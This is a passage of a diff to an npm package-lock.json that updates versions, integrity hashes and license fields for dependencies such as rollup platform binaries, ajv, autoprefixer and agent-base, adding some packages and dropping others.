+ "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==",
"cpu": [
"x64"
],
@@ -18021,10 +19459,38 @@
"linux"
]
},
+ "node_modules/@rollup/rollup-openbsd-x64": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
+ "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-openharmony-arm64": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
+ "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ]
+ },
"node_modules/@rollup/rollup-win32-arm64-msvc": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.37.0.tgz",
- "integrity": "sha512-Jm7biMazjNzTU4PrQtr7VS8ibeys9Pn29/1bm4ph7CP2kf21950LgN+BaE2mJ1QujnvOc6p54eWWiVvn05SOBg==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
+ "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==",
"cpu": [
"arm64"
],
@@ -18036,9 +19502,9 @@
]
},
"node_modules/@rollup/rollup-win32-ia32-msvc": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.37.0.tgz",
- "integrity": "sha512-e3/1SFm1OjefWICB2Ucstg2dxYDkDTZGDYgwufcbsxTHyqQps1UQf33dFEChBNmeSsTOyrjw2JJq0zbG5GF6RA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
+ "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==",
"cpu": [
"ia32"
],
@@ -18049,10 +19515,24 @@
"win32"
]
},
+ "node_modules/@rollup/rollup-win32-x64-gnu": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
+ "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
"node_modules/@rollup/rollup-win32-x64-msvc": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.37.0.tgz",
- "integrity": "sha512-LWbXUBwn/bcLx2sSsqy7pK5o+Nr+VCoRoAohfJ5C/aBio9nfJmGQqHAhU6pwxV/RmyTk5AqdySma7uwWGlmeuA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
+ "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==",
"cpu": [
"x64"
],
@@ -18070,6 +19550,13 @@
"dev": true,
"license": "MIT"
},
+ "node_modules/@scarf/scarf": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/@scarf/scarf/-/scarf-1.4.0.tgz",
+ "integrity": "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ==",
+ "hasInstallScript": true,
+ "license": "Apache-2.0"
+ },
"node_modules/@sinclair/typebox": {
"version": "0.27.8",
"resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz",
@@ -18081,17 +19568,19 @@
"resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz",
"integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==",
"dev": true,
+ "license": "BSD-3-Clause",
"dependencies": {
"type-detect": "4.0.8"
}
},
"node_modules/@sinonjs/fake-timers": {
- "version": "10.3.0",
- "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",
- "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==",
+ "version": "13.0.5",
+ "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz",
+ "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==",
"dev": true,
+ "license": "BSD-3-Clause",
"dependencies": {
- "@sinonjs/commons": "^3.0.0"
+ "@sinonjs/commons": "^3.0.1"
}
},
"node_modules/@smithy/abort-controller": {
@@ -19099,6 +20588,7 @@
"resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz",
"integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==",
"dev": true,
+ "license": "Apache-2.0",
"dependencies": {
"ejs": "^3.1.6",
"json5": "^2.2.0",
@@ -19111,6 +20601,7 @@
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
"integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"sourcemap-codec": "^1.4.8"
}
@@ -19371,30 +20862,46 @@
"@testing-library/dom": ">=7.21.4"
}
},
+ "node_modules/@tokenizer/inflate": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.4.1.tgz",
+ "integrity": "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==",
+ "license": "MIT",
+ "dependencies": {
+ "debug": "^4.4.3",
+ "token-types": "^6.1.1"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Borewit"
+ }
+ },
+ "node_modules/@tokenizer/inflate/node_modules/token-types": {
+ "version": "6.1.2",
+ "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz",
+ "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==",
+ "license": "MIT",
+ "dependencies": {
+ "@borewit/text-codec": "^0.2.1",
+ "@tokenizer/token": "^0.3.0",
+ "ieee754": "^1.2.1"
+ },
+ "engines": {
+ "node": ">=14.16"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Borewit"
+ }
+ },
"node_modules/@tokenizer/token": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz",
"integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="
},
- "node_modules/@tootallnate/once": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
- "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
- "dev": true,
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@trysound/sax": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
- "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
- "dev": true,
- "license": "ISC",
- "engines": {
- "node": ">=10.13.0"
- }
- },
"node_modules/@tsconfig/node10": {
"version": "1.0.11",
"resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.11.tgz",
@@ -19766,9 +21273,9 @@
}
},
"node_modules/@types/estree": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz",
- "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==",
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
+ "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
"license": "MIT"
},
"node_modules/@types/estree-jsx": {
@@ -19877,10 +21384,11 @@
"dev": true
},
"node_modules/@types/jsdom": {
- "version": "20.0.1",
- "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-20.0.1.tgz",
- "integrity": "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ==",
+ "version": "21.1.7",
+ "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz",
+ "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"@types/node": "*",
"@types/tough-cookie": "*",
@@ -20120,6 +21628,13 @@
"resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-7.0.3.tgz",
"integrity": "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA=="
},
+ "node_modules/@types/whatwg-mimetype": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/@types/whatwg-mimetype/-/whatwg-mimetype-3.0.2.tgz",
+ "integrity": "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA==",
+ "dev": true,
+ "license": "MIT"
+ },
"node_modules/@types/whatwg-url": {
"version": "11.0.5",
"resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-11.0.5.tgz",
@@ -20139,6 +21654,16 @@
"winston": "*"
}
},
+ "node_modules/@types/ws": {
+ "version": "8.18.1",
+ "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz",
+ "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": "*"
+ }
+ },
"node_modules/@types/xml-encryption": {
"version": "1.2.4",
"resolved": "https://registry.npmjs.org/@types/xml-encryption/-/xml-encryption-1.2.4.tgz",
@@ -20320,13 +21845,13 @@
}
},
"node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"dev": true,
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -20404,28 +21929,6 @@
"node": ">=20.0.0"
}
},
- "node_modules/@typespec/ts-http-runtime/node_modules/agent-base": {
- "version": "7.1.4",
- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
- "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
- "license": "MIT",
- "engines": {
- "node": ">= 14"
- }
- },
- "node_modules/@typespec/ts-http-runtime/node_modules/http-proxy-agent": {
- "version": "7.0.2",
- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
- "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
- "license": "MIT",
- "dependencies": {
- "agent-base": "^7.1.0",
- "debug": "^4.3.4"
- },
- "engines": {
- "node": ">= 14"
- }
- },
"node_modules/@ungap/structured-clone": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz",
@@ -20701,6 +22204,16 @@
"win32"
]
},
+ "node_modules/@upsetjs/venn.js": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@upsetjs/venn.js/-/venn.js-2.0.0.tgz",
+ "integrity": "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw==",
+ "license": "MIT",
+ "optionalDependencies": {
+ "d3-selection": "^3.0.0",
+ "d3-transition": "^3.0.1"
+ }
+ },
"node_modules/@xmldom/is-dom-node": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/@xmldom/is-dom-node/-/is-dom-node-1.0.1.tgz",
@@ -20718,13 +22231,6 @@
"node": ">=10.0.0"
}
},
- "node_modules/abab": {
- "version": "2.0.6",
- "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
- "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
- "deprecated": "Use your platform's native atob() and btoa() methods instead",
- "dev": true
- },
"node_modules/abbrev": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
@@ -20786,16 +22292,6 @@
"node": ">=0.4.0"
}
},
- "node_modules/acorn-globals": {
- "version": "7.0.1",
- "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-7.0.1.tgz",
- "integrity": "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==",
- "dev": true,
- "dependencies": {
- "acorn": "^8.1.0",
- "acorn-walk": "^8.0.2"
- }
- },
"node_modules/acorn-import-attributes": {
"version": "1.9.5",
"resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz",
@@ -20824,21 +22320,32 @@
}
},
"node_modules/agent-base": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
- "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
- "dev": true,
- "dependencies": {
- "debug": "4"
- },
+ "version": "7.1.4",
+ "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
+ "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
+ "license": "MIT",
"engines": {
- "node": ">= 6.0.0"
+ "node": ">= 14"
+ }
+ },
+ "node_modules/ai-tokenizer": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/ai-tokenizer/-/ai-tokenizer-1.0.6.tgz",
+ "integrity": "sha512-GaakQFxen0pRH/HIA4v68ZM40llCH27HUYUSBLK+gVuZ57e53pYJe1xFvSTj4sJJjbWU92m1X6NjPWyeWkFDow==",
+ "license": "MIT",
+ "peerDependencies": {
+ "ai": "^5.0.0"
+ },
+ "peerDependenciesMeta": {
+ "ai": {
+ "optional": true
+ }
}
},
"node_modules/ajv": {
- "version": "8.17.1",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
- "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+ "version": "8.18.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz",
+ "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==",
"license": "MIT",
"dependencies": {
"fast-deep-equal": "^3.1.3",
@@ -21161,9 +22668,9 @@
}
},
"node_modules/asn1.js/node_modules/bn.js": {
- "version": "4.12.2",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
- "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+ "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
"dev": true,
"license": "MIT"
},
@@ -21196,9 +22703,10 @@
"dev": true
},
"node_modules/async": {
- "version": "3.2.5",
- "resolved": "https://registry.npmjs.org/async/-/async-3.2.5.tgz",
- "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg=="
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
+ "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
+ "license": "MIT"
},
"node_modules/async-function": {
"version": "1.0.0",
@@ -21230,14 +22738,15 @@
"resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
"integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
"dev": true,
+ "license": "ISC",
"engines": {
"node": ">= 4.0.0"
}
},
"node_modules/autoprefixer": {
- "version": "10.4.17",
- "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.17.tgz",
- "integrity": "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg==",
+ "version": "10.4.24",
+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.24.tgz",
+ "integrity": "sha512-uHZg7N9ULTVbutaIsDRoUkoS8/h3bdsmVJYZ5l3wv8Cp/6UIIoRDm90hZ+BwxUj/hGBEzLxdHNSKuFpn8WOyZw==",
"dev": true,
"funding": [
{
@@ -21253,12 +22762,12 @@
"url": "https://github.com/sponsors/ai"
}
],
+ "license": "MIT",
"dependencies": {
- "browserslist": "^4.22.2",
- "caniuse-lite": "^1.0.30001578",
- "fraction.js": "^4.3.7",
- "normalize-range": "^0.1.2",
- "picocolors": "^1.0.0",
+ "browserslist": "^4.28.1",
+ "caniuse-lite": "^1.0.30001766",
+ "fraction.js": "^5.3.4",
+ "picocolors": "^1.1.1",
"postcss-value-parser": "^4.2.0"
},
"bin": {
@@ -21271,6 +22780,71 @@
"postcss": "^8.1.0"
}
},
+ "node_modules/autoprefixer/node_modules/browserslist": {
+ "version": "4.28.1",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
+ "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "baseline-browser-mapping": "^2.9.0",
+ "caniuse-lite": "^1.0.30001759",
+ "electron-to-chromium": "^1.5.263",
+ "node-releases": "^2.0.27",
+ "update-browserslist-db": "^1.2.0"
+ },
+ "bin": {
+ "browserslist": "cli.js"
+ },
+ "engines": {
+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+ }
+ },
+ "node_modules/autoprefixer/node_modules/update-browserslist-db": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
+ "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "escalade": "^3.2.0",
+ "picocolors": "^1.1.1"
+ },
+ "bin": {
+ "update-browserslist-db": "cli.js"
+ },
+ "peerDependencies": {
+ "browserslist": ">= 4.21.0"
+ }
+ },
"node_modules/available-typed-arrays": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
@@ -21572,12 +23146,15 @@
}
},
"node_modules/baseline-browser-mapping": {
- "version": "2.8.28",
- "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.8.28.tgz",
- "integrity": "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ==",
+ "version": "2.10.0",
+ "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.0.tgz",
+ "integrity": "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA==",
"license": "Apache-2.0",
"bin": {
- "baseline-browser-mapping": "dist/cli.js"
+ "baseline-browser-mapping": "dist/cli.cjs"
+ },
+ "engines": {
+ "node": ">=6.0.0"
}
},
"node_modules/bcryptjs": {
@@ -21601,10 +23178,16 @@
"node": ">=8"
}
},
+ "node_modules/bluebird": {
+ "version": "3.4.7",
+ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.7.tgz",
+ "integrity": "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA==",
+ "license": "MIT"
+ },
"node_modules/bn.js": {
- "version": "5.2.2",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
- "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
+ "version": "5.2.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.3.tgz",
+ "integrity": "sha512-EAcmnPkxpntVL+DS7bO1zhcZNvCkxqtkd0ZY53h06GNQ3DEkkGZ/gKgmDv6DdZQGj9BgfSPKtJJ7Dp1GPP8f7w==",
"dev": true,
"license": "MIT"
},
@@ -22101,9 +23684,9 @@
}
},
"node_modules/caniuse-lite": {
- "version": "1.0.30001755",
- "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001755.tgz",
- "integrity": "sha512-44V+Jm6ctPj7R52Na4TLi3Zri4dWUljJd+RDm+j8LtNCc/ihLCT+X1TzoOAkRETEWqjuLnh9581Tl80FvK7jVA==",
+ "version": "1.0.30001774",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001774.tgz",
+ "integrity": "sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA==",
"funding": [
{
"type": "opencollective",
@@ -22232,26 +23815,17 @@
"url": "https://github.com/sponsors/fb55"
}
},
- "node_modules/cheerio/node_modules/whatwg-mimetype": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
- "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
- "license": "MIT",
- "engines": {
- "node": ">=18"
- }
- },
"node_modules/chevrotain": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/chevrotain/-/chevrotain-11.1.1.tgz",
- "integrity": "sha512-f0yv5CPKaFxfsPTBzX7vGuim4oIC1/gcS7LUGdBSwl2dU6+FON6LVUksdOo1qJjoUvXNn45urgh8C+0a24pACQ==",
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/chevrotain/-/chevrotain-11.1.2.tgz",
+ "integrity": "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg==",
"license": "Apache-2.0",
"dependencies": {
- "@chevrotain/cst-dts-gen": "11.1.1",
- "@chevrotain/gast": "11.1.1",
- "@chevrotain/regexp-to-ast": "11.1.1",
- "@chevrotain/types": "11.1.1",
- "@chevrotain/utils": "11.1.1",
+ "@chevrotain/cst-dts-gen": "11.1.2",
+ "@chevrotain/gast": "11.1.2",
+ "@chevrotain/regexp-to-ast": "11.1.2",
+ "@chevrotain/types": "11.1.2",
+ "@chevrotain/utils": "11.1.2",
"lodash-es": "4.17.23"
}
},
@@ -22320,14 +23894,15 @@
}
},
"node_modules/cipher-base": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.6.tgz",
- "integrity": "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==",
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.7.tgz",
+ "integrity": "sha512-Mz9QMT5fJe7bKI7MH31UilT5cEK5EHHRCccw/YRFsRY47AuNgaV6HY3rscp0/I4Q+tTW/5zoqpSeRRI54TkDWA==",
"dev": true,
"license": "MIT",
"dependencies": {
"inherits": "^2.0.4",
- "safe-buffer": "^5.2.1"
+ "safe-buffer": "^5.2.1",
+ "to-buffer": "^1.2.2"
},
"engines": {
"node": ">= 0.10"
@@ -22654,6 +24229,7 @@
"resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
